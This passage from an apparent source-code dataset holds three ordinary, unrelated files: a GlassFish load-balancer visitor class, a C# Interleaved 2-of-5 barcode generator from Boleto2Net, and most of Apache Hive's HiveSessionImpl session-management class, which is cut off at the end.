org.glassfish.loadbalancer.admin.cli.reader.api.IdempotentUrlPatternReader;\n\nimport org.glassfish.loadbalancer.admin.cli.beans.WebModule;\n\n/**\n * Provides transform capabilites for IdempotentUrlPattern\n *\n * @author Satish Viswanatham\n */\npublic class IdempotentUrlPatternVisitor implements Visitor {\n\n // ------ CTOR ------\n public IdempotentUrlPatternVisitor(WebModule m, int i) {\n _m = m;\n _i = i;\n }\n\n /**\n * Visit reader class \n */\n @Override\n public void visit(BaseReader br) throws Exception {\n // FIXME, make as assert here about no class cast exception\n\t\tif (br instanceof IdempotentUrlPatternReader) {\n\t\t\tIdempotentUrlPatternReader iRdr = (IdempotentUrlPatternReader) br;\n\t\t\t_m.addIdempotentUrlPattern(true);\n\t\t\t_m.setAttributeValue(WebModule.IDEMPOTENT_URL_PATTERN, _i,\n\t\t\t\t\tURL_PATTERN, iRdr.getUrlPattern());\n\t\t\t_m.setAttributeValue(WebModule.IDEMPOTENT_URL_PATTERN, _i, RETRIES,\n\t\t\t\t\tiRdr.getNoOfRetries());\n\t\t}\n }\n //--- PRIVATE VARS ----\n WebModule _m = null;\n int _i = 0;\n private static final String URL_PATTERN = \"UrlPattern\";\t//NOI18N\n private static final String RETRIES = \"NoOfRetries\"; //NOI18N\n}\n"} -{"text": "using System;\nusing System.Drawing;\n\nnamespace Boleto2Net\n{\n public class BarCode2of5i : BarCodeBase\n {\n #region variables\n private readonly string[] _cPattern = new string[100];\n private const string START = \"0000\";\n private const string STOP = \"1000\";\n private Bitmap _bitmap;\n private Graphics _g;\n #endregion\n\n #region Constructor\n public BarCode2of5i()\n {\n }\n /// \n /// Code 2 of 5 intrelaced Constructor\n /// \n /// The string that contents the numeric code\n /// The Width of each bar\n /// The Height of each bar\n public BarCode2of5i(string code, int barWidth, int height)\n {\n Code = code;\n Height = height;\n Width = barWidth;\n }\n /// \n /// Code 2 of 5 intrelaced Constructor\n /// \n /// The string that contents the numeric code\n /// The Width of each bar\n /// The Height of each bar\n /// Number of digits of code\n public BarCode2of5i(string code, int barWidth, int height, int digits)\n {\n Code = code;\n Height = height;\n Width = barWidth;\n Digits = digits;\n }\n #endregion\n\n private void FillPatern()\n {\n int f;\n string strTemp;\n\n if (_cPattern[0] == null)\n {\n _cPattern[0] = \"00110\";\n _cPattern[1] = \"10001\";\n _cPattern[2] = \"01001\";\n _cPattern[3] = \"11000\";\n _cPattern[4] = \"00101\";\n _cPattern[5] = \"10100\";\n _cPattern[6] = \"01100\";\n _cPattern[7] = \"00011\";\n _cPattern[8] = \"10010\";\n _cPattern[9] = \"01010\";\n //Create a draw pattern for each char from 0 to 99\n for (int f1 = 9; f1 >= 0; f1--)\n {\n for (int f2 = 9; f2 >= 0; f2--)\n {\n f = f1 * 10 + f2;\n var builder = new System.Text.StringBuilder();\n for (int i = 0; i < 5; i++)\n {\n builder.Append(_cPattern[f1][i] + _cPattern[f2][i].ToString());\n }\n strTemp = builder.ToString();\n _cPattern[f] = strTemp;\n }\n }\n }\n }\n /// \n /// Generate the Bitmap of Barcode.\n /// \n /// Return System.Drawing.Bitmap\n public Bitmap ToBitmap()\n {\n XPos = 0;\n YPos = 0;\n\n if (Digits == 0)\n {\n Digits = Code.Length;\n }\n\n if (Digits % 2 > 0) Digits++;\n\n while (Code.Length < Digits || Code.Length % 2 > 0)\n {\n Code = \"0\" + Code;\n }\n\n int width = (2 * Full + 3 * Thin) * (Digits) + 7 * Thin + Full;\n\n _bitmap = new Bitmap(width, Height);\n _g = Graphics.FromImage(_bitmap);\n\n //Start Pattern\n DrawPattern(ref _g, START);\n\n //Draw code\n FillPatern();\n while (Code.Length > 0)\n {\n var i = Convert.ToInt32(Code.Substring(0, 2));\n if (Code.Length > 2)\n Code = Code.Substring(2, Code.Length - 2);\n else\n Code = \"\";\n DrawPattern(ref _g, _cPattern[i]);\n }\n\n //Stop Patern\n DrawPattern(ref _g, STOP);\n\n return _bitmap;\n }\n /// \n /// Returns the byte array of Barcode\n /// \n /// byte[]\n public byte[] ToByte()\n {\n return base.ToByte(ToBitmap());\n }\n }\n}\n"} -{"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.apache.hive.service.cli.session;\n\nimport java.util.Collections;\nimport java.io.BufferedReader;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.FutureTask;\nimport java.util.concurrent.Semaphore;\n\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.hadoop.hive.common.cli.HiveFileProcessor;\nimport org.apache.hadoop.hive.common.cli.IHiveFileProcessor;\nimport org.apache.hadoop.hive.conf.HiveConf;\nimport org.apache.hadoop.hive.conf.HiveConf.ConfVars;\nimport org.apache.hadoop.hive.metastore.IMetaStoreClient;\nimport org.apache.hadoop.hive.metastore.api.MetaException;\nimport org.apache.hadoop.hive.ql.exec.Utilities;\nimport org.apache.hadoop.hive.ql.history.HiveHistory;\nimport org.apache.hadoop.hive.ql.metadata.Hive;\nimport org.apache.hadoop.hive.ql.metadata.HiveException;\nimport org.apache.hadoop.hive.ql.parse.ParseUtils;\nimport org.apache.hadoop.hive.ql.processors.SetProcessor;\nimport org.apache.hadoop.hive.ql.session.SessionState;\nimport org.apache.hadoop.hive.serde2.SerDeUtils;\nimport org.apache.hadoop.hive.serde2.thrift.ThriftFormatter;\nimport org.apache.hadoop.hive.shims.ShimLoader;\nimport org.apache.hive.common.util.HiveVersionInfo;\nimport org.apache.hive.service.auth.HiveAuthFactory;\nimport org.apache.hive.service.cli.FetchOrientation;\nimport org.apache.hive.service.cli.FetchType;\nimport org.apache.hive.service.cli.GetInfoType;\nimport org.apache.hive.service.cli.GetInfoValue;\nimport org.apache.hive.service.cli.HiveSQLException;\nimport org.apache.hive.service.cli.OperationHandle;\nimport org.apache.hive.service.cli.RowSet;\nimport org.apache.hive.service.cli.SessionHandle;\nimport org.apache.hive.service.cli.TableSchema;\nimport org.apache.hive.service.cli.operation.ExecuteStatementOperation;\nimport org.apache.hive.service.cli.operation.GetCatalogsOperation;\nimport org.apache.hive.service.cli.operation.GetColumnsOperation;\nimport org.apache.hive.service.cli.operation.GetCrossReferenceOperation;\nimport org.apache.hive.service.cli.operation.GetFunctionsOperation;\nimport org.apache.hive.service.cli.operation.GetPrimaryKeysOperation;\nimport org.apache.hive.service.cli.operation.GetSchemasOperation;\nimport org.apache.hive.service.cli.operation.GetTableTypesOperation;\nimport org.apache.hive.service.cli.operation.GetTypeInfoOperation;\nimport org.apache.hive.service.cli.operation.MetadataOperation;\nimport org.apache.hive.service.cli.operation.Operation;\nimport org.apache.hive.service.cli.operation.OperationManager;\nimport org.apache.hive.service.rpc.thrift.TProtocolVersion;\nimport org.apache.hive.service.server.KillQueryImpl;\nimport org.apache.hive.service.server.KillQueryZookeeperManager;\nimport org.apache.hive.service.server.ThreadWithGarbageCleanup;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.google.common.collect.Lists;\n\nimport static org.apache.hadoop.hive.metastore.Warehouse.DEFAULT_DATABASE_NAME;\n\n/**\n * HiveSession\n *\n */\npublic class HiveSessionImpl implements HiveSession {\n\n // Shared between threads (including SessionState!)\n private final SessionHandle sessionHandle;\n private String username;\n private final String password;\n private final HiveConf sessionConf;\n private final long creationTime;\n // TODO: some SessionState internals are not thread safe. The compile-time internals are synced\n // via session-scope or global compile lock. The run-time internals work by magic!\n // They probably work because races are relatively unlikely and few tools run parallel\n // queries from the same session.\n // 1) OperationState should be refactored out of SessionState, and made thread-local.\n // 2) Some parts of session state, like mrStats and vars, need proper synchronization.\n private SessionState sessionState;\n private String ipAddress;\n private List forwardedAddresses;\n\n private static final String FETCH_WORK_SERDE_CLASS =\n \"org.apache.hadoop.hive.serde2.lazy.LazySimpleSerDe\";\n private static final Logger LOG = LoggerFactory.getLogger(HiveSessionImpl.class);\n\n private SessionManager sessionManager;\n private OperationManager operationManager;\n // Synchronized by locking on itself.\n private final Set opHandleSet = ConcurrentHashMap.newKeySet();\n private boolean isOperationLogEnabled;\n private File sessionLogDir;\n // TODO: the control flow for this needs to be defined. Hive is supposed to be thread-local.\n private Hive sessionHive;\n\n private volatile long lastAccessTime = System.currentTimeMillis();\n private volatile boolean lockedByUser;\n private final Semaphore operationLock;\n\n\n public HiveSessionImpl(SessionHandle sessionHandle, TProtocolVersion protocol,\n String username, String password, HiveConf serverConf, String ipAddress,\n final List forwardedAddresses) {\n this.username = username;\n this.password = password;\n creationTime = System.currentTimeMillis();\n this.sessionHandle = sessionHandle != null ? sessionHandle : new SessionHandle(protocol);\n this.sessionConf = new HiveConf(serverConf);\n this.ipAddress = ipAddress;\n this.forwardedAddresses = forwardedAddresses;\n this.operationLock = serverConf.getBoolVar(\n ConfVars.HIVE_SERVER2_PARALLEL_OPS_IN_SESSION) ? null : new Semaphore(1);\n // Set an explicit session name to control the download directory name\n sessionConf.set(ConfVars.HIVESESSIONID.varname,\n this.sessionHandle.getHandleIdentifier().toString());\n // Use thrift transportable formatter\n sessionConf.set(SerDeUtils.LIST_SINK_OUTPUT_FORMATTER, ThriftFormatter.class.getName());\n sessionConf.setInt(SerDeUtils.LIST_SINK_OUTPUT_PROTOCOL, protocol.getValue());\n }\n\n @Override\n /**\n * Opens a new HiveServer2 session for the client connection.\n * Creates a new SessionState object that will be associated with this HiveServer2 session.\n * When the server executes multiple queries in the same session,\n * this SessionState object is reused across multiple queries.\n * Note that if doAs is true, this call goes through a proxy object,\n * which wraps the method logic in a UserGroupInformation#doAs.\n * That's why it is important to create SessionState here rather than in the constructor.\n */\n public void open(Map sessionConfMap) throws HiveSQLException {\n sessionState = new SessionState(sessionConf, username);\n sessionState.setUserIpAddress(ipAddress);\n sessionState.setIsHiveServerQuery(true);\n sessionState.setForwardedAddresses(SessionManager.getForwardedAddresses());\n sessionState.setIsUsingThriftJDBCBinarySerDe(updateIsUsingThriftJDBCBinarySerDe());\n try {\n if (sessionManager != null) {\n sessionState.setHiveServer2Host(sessionManager.getHiveServer2HostName());\n }\n } catch (Exception e) {\n throw new HiveSQLException(e);\n }\n KillQueryZookeeperManager killQueryZookeeperManager = null;\n if (sessionManager != null) {\n killQueryZookeeperManager = sessionManager.getKillQueryZookeeperManager();\n }\n sessionState.setKillQuery(new KillQueryImpl(operationManager, killQueryZookeeperManager));\n SessionState.start(sessionState);\n try {\n sessionState.loadAuxJars();\n sessionState.loadReloadableAuxJars();\n } catch (IOException e) {\n String msg = \"Failed to load reloadable jar file path: \" + e;\n LOG.error(msg, e);\n throw new HiveSQLException(msg, e);\n }\n\n // Set sessionHive object created based on sessionConf.\n setSessionHive();\n\n // Process global init file: .hiverc\n processGlobalInitFile();\n\n if (sessionConfMap != null) {\n configureSession(sessionConfMap);\n }\n lastAccessTime = System.currentTimeMillis();\n }\n\n/**\n * It is used for processing hiverc file from HiveServer2 side.\n */\n private class GlobalHivercFileProcessor extends HiveFileProcessor {\n @Override\n protected BufferedReader loadFile(String fileName) throws IOException {\n FileInputStream initStream = null;\n BufferedReader bufferedReader = null;\n initStream = new FileInputStream(fileName);\n bufferedReader = new BufferedReader(new InputStreamReader(initStream));\n return bufferedReader;\n }\n\n @Override\n protected int processCmd(String cmd) {\n int rc = 0;\n String cmd_trimed = cmd.trim();\n OperationHandle opHandle = null;\n try {\n //execute in sync mode\n opHandle = executeStatementInternal(cmd_trimed, null, false, 0);\n } catch (HiveSQLException e) {\n LOG.warn(\"Failed to execute command in global .hiverc file.\", e);\n return -1;\n }\n if (opHandle != null) {\n try {\n closeOperation(opHandle);\n } catch (HiveSQLException e) {\n LOG.warn(\"Failed to close operation for command in .hiverc file.\", e);\n }\n }\n return rc;\n }\n }\n\n /**\n * Sets sessionHive object created based on sessionConf.\n * @throws HiveSQLException\n */\n private void setSessionHive() throws HiveSQLException {\n Hive newSessionHive;\n try {\n newSessionHive = Hive.get(getHiveConf());\n\n // HMS connections from sessionHive shouldn't be closed by any query execution thread when it\n // recreates the Hive object. It is allowed to be closed only when session is closed/released.\n newSessionHive.setAllowClose(false);\n } catch (HiveException e) {\n throw new HiveSQLException(\"Failed to get metastore connection\", e);\n }\n\n // The previous sessionHive object might still be referred by any async query execution thread.\n // So, it shouldn't be closed here explicitly. Anyways, Hive object will auto-close HMS connection\n // when it is garbage collected. So, it is safe to just overwrite sessionHive here.\n sessionHive = newSessionHive;\n }\n\n private void processGlobalInitFile() {\n IHiveFileProcessor processor = new GlobalHivercFileProcessor();\n\n try {\n String hiverc = sessionConf.getVar(ConfVars.HIVE_SERVER2_GLOBAL_INIT_FILE_LOCATION);\n if (hiverc != null) {\n File hivercFile = new File(hiverc);\n if (hivercFile.isDirectory()) {\n hivercFile = new File(hivercFile, SessionManager.HIVERCFILE);\n }\n if (hivercFile.isFile()) {\n LOG.info(\"Running global init file: \" + hivercFile);\n int rc = processor.processFile(hivercFile.getAbsolutePath());\n if (rc != 0) {\n LOG.error(\"Failed on initializing global .hiverc file\");\n }\n } else {\n LOG.debug(\"Global init file \" + hivercFile + \" does not exist\");\n }\n }\n } catch (IOException e) {\n LOG.warn(\"Failed on initializing global .hiverc file\", e);\n }\n }\n\n private void configureSession(Map sessionConfMap) throws HiveSQLException {\n SessionState.setCurrentSessionState(sessionState);\n for (Map.Entry entry : sessionConfMap.entrySet()) {\n String key = entry.getKey();\n if (key.startsWith(\"set:\")) {\n try {\n SetProcessor.setVariable(key.substring(4), entry.getValue());\n } catch (Exception e) {\n throw new HiveSQLException(e);\n }\n } else if (key.startsWith(\"use:\")) {\n try {\n if (!(StringUtils.equals(DEFAULT_DATABASE_NAME, entry.getValue()))\n && sessionHive.getDatabase(entry.getValue()) == null) {\n throw new HiveSQLException(\"Database \" + entry.getValue() + \" does not exist\");\n }\n } catch (HiveException e) {\n throw new HiveSQLException(e);\n }\n SessionState.get().setCurrentDatabase(entry.getValue());\n } else {\n sessionConf.verifyAndSet(key, entry.getValue());\n }\n }\n }\n\n private boolean updateIsUsingThriftJDBCBinarySerDe() {\n return 8 <= getProtocolVersion().getValue() &&\n sessionConf.getBoolVar(ConfVars.HIVE_SERVER2_THRIFT_RESULTSET_SERIALIZE_IN_TASKS);\n }\n\n @Override\n public void setOperationLogSessionDir(File operationLogRootDir) {\n if (!operationLogRootDir.exists()) {\n LOG.warn(\"The operation log root directory is removed, recreating:\" +\n operationLogRootDir.getAbsolutePath());\n if (!operationLogRootDir.mkdirs()) {\n LOG.warn(\"Unable to create operation log root directory: \" +\n operationLogRootDir.getAbsolutePath());\n }\n }\n if (!operationLogRootDir.canWrite()) {\n LOG.warn(\"The operation log root directory is not writable: \" +\n operationLogRootDir.getAbsolutePath());\n }\n sessionLogDir = new File(operationLogRootDir, sessionHandle.getHandleIdentifier().toString());\n isOperationLogEnabled = true;\n if (!sessionLogDir.exists()) {\n if (!sessionLogDir.mkdir()) {\n LOG.warn(\"Unable to create operation log session directory: \" +\n sessionLogDir.getAbsolutePath());\n isOperationLogEnabled = false;\n }\n }\n if (isOperationLogEnabled) {\n LOG.info(\"Operation log session directory is created: \" + sessionLogDir.getAbsolutePath());\n }\n }\n\n @Override\n public boolean isOperationLogEnabled() {\n return isOperationLogEnabled;\n }\n\n @Override\n public File getOperationLogSessionDir() {\n return sessionLogDir;\n }\n\n @Override\n public TProtocolVersion getProtocolVersion() {\n return sessionHandle.getProtocolVersion();\n }\n\n @Override\n public SessionManager getSessionManager() {\n return sessionManager;\n }\n\n @Override\n public void setSessionManager(SessionManager sessionManager) {\n this.sessionManager = sessionManager;\n }\n\n private OperationManager getOperationManager() {\n return operationManager;\n }\n\n @Override\n public void setOperationManager(OperationManager operationManager) {\n this.operationManager = operationManager;\n }\n\n protected void acquire(boolean userAccess, boolean isOperation) {\n if (isOperation && operationLock != null) {\n try {\n operationLock.acquire();\n } catch (InterruptedException e) {\n Thread.currentThread().interrupt();\n throw new RuntimeException(e);\n }\n }\n boolean success = false;\n try {\n acquireAfterOpLock(userAccess);\n success = true;\n } finally {\n if (!success && isOperation && operationLock != null) {\n operationLock.release();\n }\n }\n }\n\n private synchronized void acquireAfterOpLock(boolean userAccess) {\n // Need to make sure that the this HiveServer2's session's SessionState is\n // stored in the thread local for the handler thread.\n SessionState.setCurrentSessionState(sessionState);\n sessionState.setForwardedAddresses(SessionManager.getForwardedAddresses());\n sessionState.setIsUsingThriftJDBCBinarySerDe(updateIsUsingThriftJDBCBinarySerDe());\n if (userAccess) {\n lastAccessTime = System.currentTimeMillis();\n lockedByUser = true;\n }\n // set the thread name with the logging prefix.\n sessionState.updateThreadName();\n\n // If the thread local Hive is different from sessionHive, it means, the previous query execution in\n // master thread has re-created Hive object due to changes in MS related configurations in sessionConf.\n // So, it is necessary to reset sessionHive object based on new sessionConf. Here, we cannot,\n // directly set sessionHive with thread local Hive because if the previous command was REPL LOAD, then\n // the config changes lives only within command execution not in session level.\n // So, the safer option is to invoke Hive.get() which decides if to reuse Thread local Hive or re-create it.\n if (Hive.getThreadLocal() != sessionHive) {\n try {\n setSessionHive();\n } catch (HiveSQLException e) {\n throw new RuntimeException(e);\n }\n }\n }\n\n /**\n * 1. We'll remove the ThreadLocal SessionState as this thread might now serve\n * other requests.\n * 2. We'll cache the ThreadLocal RawStore object for this background thread for an orderly cleanup\n * when this thread is garbage collected later.\n * @see org.apache.hive.service.server.ThreadWithGarbageCleanup#finalize()\n */\n protected void release(boolean userAccess, boolean isOperation) {\n try {\n releaseBeforeOpLock(userAccess);\n } finally {\n if (isOperation && operationLock != null) {\n operationLock.release();\n }\n }\n }\n\n private synchronized void releaseBeforeOpLock(boolean userAccess) {\n if (sessionState != null) {\n // can be null in-case of junit tests. skip reset.\n // reset thread name at release time.\n sessionState.resetThreadName();\n }\n\n SessionState.detachSession();\n if (ThreadWithGarbageCleanup.currentThread() instanceof ThreadWithGarbageCleanup) {\n ThreadWithGarbageCleanup currentThread =\n (ThreadWithGarbageCleanup) ThreadWithGarbageCleanup.currentThread();\n currentThread.cacheThreadLocalRawStore();\n }\n if (userAccess) {\n lastAccessTime = System.currentTimeMillis();\n lockedByUser = false;\n }\n }\n\n @Override\n public SessionHandle getSessionHandle() {\n return sessionHandle;\n }\n\n @Override\n public String getPassword() {\n return password;\n }\n\n @Override\n public HiveConf getHiveConf() {\n sessionConf.setVar(HiveConf.ConfVars.HIVEFETCHOUTPUTSERDE, FETCH_WORK_SERDE_CLASS);\n return sessionConf;\n }\n\n @Override\n public Hive getSessionHive() {\n return sessionHive;\n }\n\n @Override\n public IMetaStoreClient getMetaStoreClient() throws HiveSQLException {\n try {\n return getSessionHive().getMSC();\n } catch (MetaException e) {\n throw new HiveSQLException(\"Failed to get metastore connection: \" + e, e);\n }\n }\n\n @Override\n public GetInfoValue getInfo(GetInfoType getInfoType)\n throws HiveSQLException {\n acquire(true, true);\n try {\n switch (getInfoType) {\n case CLI_SERVER_NAME:\n return new GetInfoValue(\"Hive\");\n case CLI_DBMS_NAME:\n return new GetInfoValue(\"Apache Hive\");\n case CLI_DBMS_VER:\n return new GetInfoValue(HiveVersionInfo.getVersion());\n case CLI_MAX_COLUMN_NAME_LEN:\n return new GetInfoValue(128);\n case CLI_MAX_SCHEMA_NAME_LEN:\n return new GetInfoValue(128);\n case CLI_MAX_TABLE_NAME_LEN:\n return new GetInfoValue(128);\n case CLI_ODBC_KEYWORDS:\n return new GetInfoValue(ParseUtils.getKeywords(ODBC_KEYWORDS));\n case CLI_TXN_CAPABLE:\n default:\n throw new HiveSQLException(\"Unrecognized GetInfoType value: \" + getInfoType.toString());\n }\n } finally {\n release(true, true);\n }\n }\n\n @Override\n public HiveConf getSessionConf() throws HiveSQLException {\n\t return this.sessionConf;\n }\n\n @Override\n public OperationHandle executeStatement(String statement, Map confOverlay) throws HiveSQLException {\n return executeStatementInternal(statement, confOverlay, false, 0);\n }\n\n @Override\n public OperationHandle executeStatement(String statement, Map confOverlay,\n long queryTimeout) throws HiveSQLException {\n return executeStatementInternal(statement, confOverlay, false, queryTimeout);\n }\n\n @Override\n public OperationHandle executeStatementAsync(String statement, Map confOverlay) throws HiveSQLException {\n return executeStatementInternal(statement, confOverlay, true, 0);\n }\n\n @Override\n public OperationHandle executeStatementAsync(String statement, Map confOverlay,\n long queryTimeout) throws HiveSQLException {\n return executeStatementInternal(statement, confOverlay, true, queryTimeout);\n }\n\n private OperationHandle executeStatementInternal(String statement,\n Map confOverlay, boolean runAsync, long queryTimeout) throws HiveSQLException {\n acquire(true, true);\n LOG.info(\"executing \" + statement);\n\n ExecuteStatementOperation operation = null;\n OperationHandle opHandle = null;\n try {\n operation = getOperationManager().newExecuteStatementOperation(getSession(), statement,\n confOverlay, runAsync, queryTimeout);\n opHandle = operation.getHandle();\n addOpHandle(opHandle);\n operation.run();\n return opHandle;\n } catch (HiveSQLException e) {\n // Refering to SQLOperation.java, there is no chance that a HiveSQLException throws and the\n // async background operation submits to thread pool successfully at the same time. So, Cleanup\n // opHandle directly when got HiveSQLException\n if (opHandle != null) {\n removeOpHandle(opHandle);\n getOperationManager().closeOperation(opHandle);\n }\n throw e;\n } finally {\n if (operation == null || operation.getBackgroundHandle() == null) {\n release(true, true); // Not async, or wasn't submitted for some reason (failure, etc.)\n } else {\n releaseBeforeOpLock(true); // Release, but keep the lock (if present).\n }\n }\n }\n\n @Override\n public Future submitBackgroundOperation(Runnable work) {\n return getSessionManager().submitBackgroundOperation(\n operationLock == null ? work : new FutureTask(work, null) {\n protected void done() {\n // We assume this always comes from a user operation that took the lock.\n operationLock.release();\n };\n });\n }\n\n @Override\n public OperationHandle getTypeInfo()\n throws HiveSQLException {\n acquire(true, true);\n\n OperationManager operationManager = getOperationManager();\n GetTypeInfoOperation operation = operationManager.newGetTypeInfoOperation(getSession());\n OperationHandle opHandle = operation.getHandle();\n try {\n addOpHandle(opHandle);\n operation.run();\n return opHandle;\n } catch (HiveSQLException e) {\n removeOpHandle(opHandle);\n operationManager.closeOperation(opHandle);\n throw e;\n } finally {\n release(true, true);\n }\n }\n\n @Override\n public OperationHandle getCatalogs()\n throws HiveSQLException {\n acquire(true, true);\n\n OperationManager operationManager = getOperationManager();\n GetCatalogsOperation operation = operationManager.newGetCatalogsOperation(getSession());\n OperationHandle opHandle = operation.getHandle();\n try {\n addOpHandle(opHandle);\n operation.run();\n return opHandle;\n } catch (HiveSQLException e) {\n removeOpHandle(opHandle);\n operationManager.closeOperation(opHandle);\n throw e;\n } finally {\n release(true, true);\n }\n }\n\n @Override\n public OperationHandle getSchemas(String catalogName, String schemaName)\n throws HiveSQLException {\n acquire(true, true);\n\n OperationManager operationManager = getOperationManager();\n GetSchemasOperation operation =\n operationManager.newGetSchemasOperation(getSession(), catalogName, schemaName);\n OperationHandle opHandle = operation.getHandle();\n try {\n addOpHandle(opHandle);\n operation.run();\n return opHandle;\n } catch (HiveSQLException e) {\n removeOpHandle(opHandle);\n operationManager.closeOperation(opHandle);\n throw e;\n } finally {\n release(true, true);\n }\n }\n\n @Override\n public OperationHandle getTables(String catalogName, String schemaName, String tableName,\n List tableTypes)\n throws HiveSQLException {\n acquire(true, true);\n\n OperationManager operationManager = getOperationManager();\n MetadataOperation operation =\n operationManager.newGetTablesOperation(getSession(), catalogName, schemaName, tableName, tableTypes);\n OperationHandle opHandle = operation.getHandle();\n try {\n addOpHandle(opHandle);\n operation.run();\n return opHandle;\n } catch (HiveSQLException e) {\n removeOpHandle(opHandle);\n operationManager.closeOperation(opHandle);\n throw e;\n } finally {\n release(true, true);\n }\n }\n\n @Override\n public OperationHandle getTableTypes()\n throws HiveSQLException {\n acquire(true, true);\n\n OperationManager operationManager = getOperationManager();\n GetTableTypesOperation operation = operationManager.newGetTableTypesOperation(getSession());\n OperationHandle opHandle = operation.getHandle();\n try {\n addOpHandle(opHandle);\n operation.run();\n return opHandle;\n } catch (HiveSQLException e) {\n removeOpHandle(opHandle);\n operationManager.closeOperation(opHandle);\n throw e;\n } finally {\n release(true, true);\n }\n }\n\n @Override\n public OperationHandle getColumns(String catalogName, String schemaName,\n String tableName, String columnName) throws HiveSQLException {\n acquire(true, true);\n String addedJars = Utilities.getResourceFiles(sessionConf, SessionState.ResourceType.JAR);\n if (StringUtils.isNotBlank(addedJars)) {\n IMetaStoreClient metastoreClient = getSession().getMetaStoreClient();\n metastoreClient.setHiveAddedJars(addedJars);\n }\n OperationManager operationManager = getOperationManager();\n GetColumnsOperation operation = operationManager.newGetColumnsOperation(getSession(),\n catalogName, schemaName, tableName, columnName);\n OperationHandle opHandle = operation.getHandle();\n try {\n addOpHandle(opHandle);\n operation.run();\n return opHandle;\n } catch (HiveSQLException e) {\n removeOpHandle(opHandle);\n operationManager.closeOperation(opHandle);\n throw e;\n } finally {\n release(true, true);\n }\n }\n\n private void addOpHandle(OperationHandle opHandle) {\n opHandleSet.add(opHandle);\n }\n\n private void removeOpHandle(OperationHandle opHandle) {\n opHandleSet.remove(opHandle);\n }\n\n @Override\n public OperationHandle getFunctions(String catalogName, String schemaName, String functionName)\n throws HiveSQLException {\n acquire(true, true);\n\n OperationManager operationManager = getOperationManager();\n GetFunctionsOperation operation = operationManager\n .newGetFunctionsOperation(getSession(), catalogName, schemaName, functionName);\n OperationHandle opHandle = operation.getHandle();\n try {\n addOpHandle(opHandle);\n operation.run();\n return opHandle;\n } catch (HiveSQLException e) {\n removeOpHandle(opHandle);\n operationManager.closeOperation(opHandle);\n throw e;\n } finally {\n release(true, true);\n }\n }\n\n @Override\n public void close() throws HiveSQLException {\n try {\n acquire(true, false);\n // Iterate through the opHandles and close their operations\n List closedOps = new ArrayList<>();\n for (OperationHandle opHandle : opHandleSet) {\n operationManager.closeOperation(opHandle);\n closedOps.add(opHandle);\n }\n opHandleSet.removeAll(closedOps);\n\n // Cleanup session log directory.\n cleanupSessionLogDir();\n HiveHistory hiveHist = sessionState.getHiveHistory();\n if (null != hiveHist) {\n hiveHist.closeStream();\n }\n try {\n sessionState.resetThreadName();\n sessionState.close();\n } finally {\n sessionState = null;\n }\n } catch (IOException ioe) {\n throw new HiveSQLException(\"Failure to close\", ioe);\n } finally {\n if (sessionState != null) {\n try {\n sessionState.resetThreadName();\n sessionState.close();\n } catch (Throwable t) {\n LOG.warn(\"Error closing session\", t);\n }\n sessionState = null;\n }\n if (sessionHive != null) {\n try {\n sessionHive.close(true);\n } catch (Throwable t) {\n LOG.warn(\"Error closing sessionHive\", t);\n }\n sessionHive = null;\n }\n try {\n // The thread local Hive in master thread can be different from sessionHive if any query\n // execution from master thread resets it to new Hive object due to changes in sessionConf.\n // So, need to close it as well. If it is same as sessionHive, then it is just no-op.\n Hive.closeCurrent();\n } catch (Throwable t) {\n LOG.warn(\"Error closing thread local Hive\", t);\n }\n release(true, false);\n }\n }\n\n private void cleanupSessionLogDir() {\n // In case of test, if we might not want to remove the log directory\n if (isOperationLogEnabled && sessionConf.getBoolVar(ConfVars.HIVE_TESTING_REMOVE_LOGS)) {\n try {\n FileUtils.forceDelete(sessionLogDir);\n LOG.info(\"Operation log session directory is deleted: \"\n + sessionLogDir.getAbsolutePath());\n } catch (Exception e) {\n LOG.error(\"Failed to cleanup session log dir: \" + sessionHandle, e);\n }\n }\n }\n\n @Override\n public SessionState getSessionState() {\n return sessionState;\n }\n\n @Override\n public String getUserName() {\n return username;\n }\n\n @Override\n public void setUserName(String userName) {\n this.username = userName;\n }\n\n @Override\n public long getLastAccessTime() {\n return lastAccessTime;\n }\n\n @Override\n public long getCreationTime() {\n return creationTime;\n }\n\n @Override\n public void closeExpiredOperations() {\n List handles = new ArrayList<>(opHandleSet);\n if (!handles.isEmpty()) {\n List operations = operationManager.removeExpiredOperations(handles.toArray(new OperationHandle[0]));\n if (!operations.isEmpty()) {\n closeTimedOutOperations(operations);\n }\n }\n }\n\n @Override\n public long getNoOperationTime() {\n boolean noMoreOpHandle = opHandleSet.isEmpty();\n return noMoreOpHandle && !lockedByUser ? System.currentTimeMillis() - lastAccessTime : 0;\n }\n\n private void closeTimedOutOperations(List operations) {\n acquire(false, false);\n try {\n for (Operation operation : operations) {\n removeOpHandle(operation.getHandle());\n try {\n operation.close();\n } catch (Exception e) {\n LOG.warn(\"Exception is thrown closing timed-out operation, reported open_operations metrics may be incorrect \" + operation.getHandle(), e);\n }\n }\n } finally {\n release(false, false);\n }\n }\n\n @Override\n public void cancelOperation(OperationHandle opHandle) throws HiveSQLException {\n acquire(true, false);\n try {\n sessionManager.getOperationManager().cancelOperation(opHandle);\n } finally {\n release(true, false);\n }\n }\n\n @Override\n public void updateQueryTag(String queryId, String queryTag) throws HiveSQLException {\n sessionManager.getOperationManager().updateQueryTag(queryId, queryTag);\n }\n\n @Override\n public void closeOperation(OperationHandle opHandle) throws HiveSQLException {\n acquire(true, false);\n try {\n operationManager.closeOperation(opHandle);\n opHandleSet.remove(opHandle);\n } finally {\n release(true, false);\n }\n }\n\n @Override\n public TableSchema getResultSetMetadata(OperationHandle opHandle) throws HiveSQLException {\n 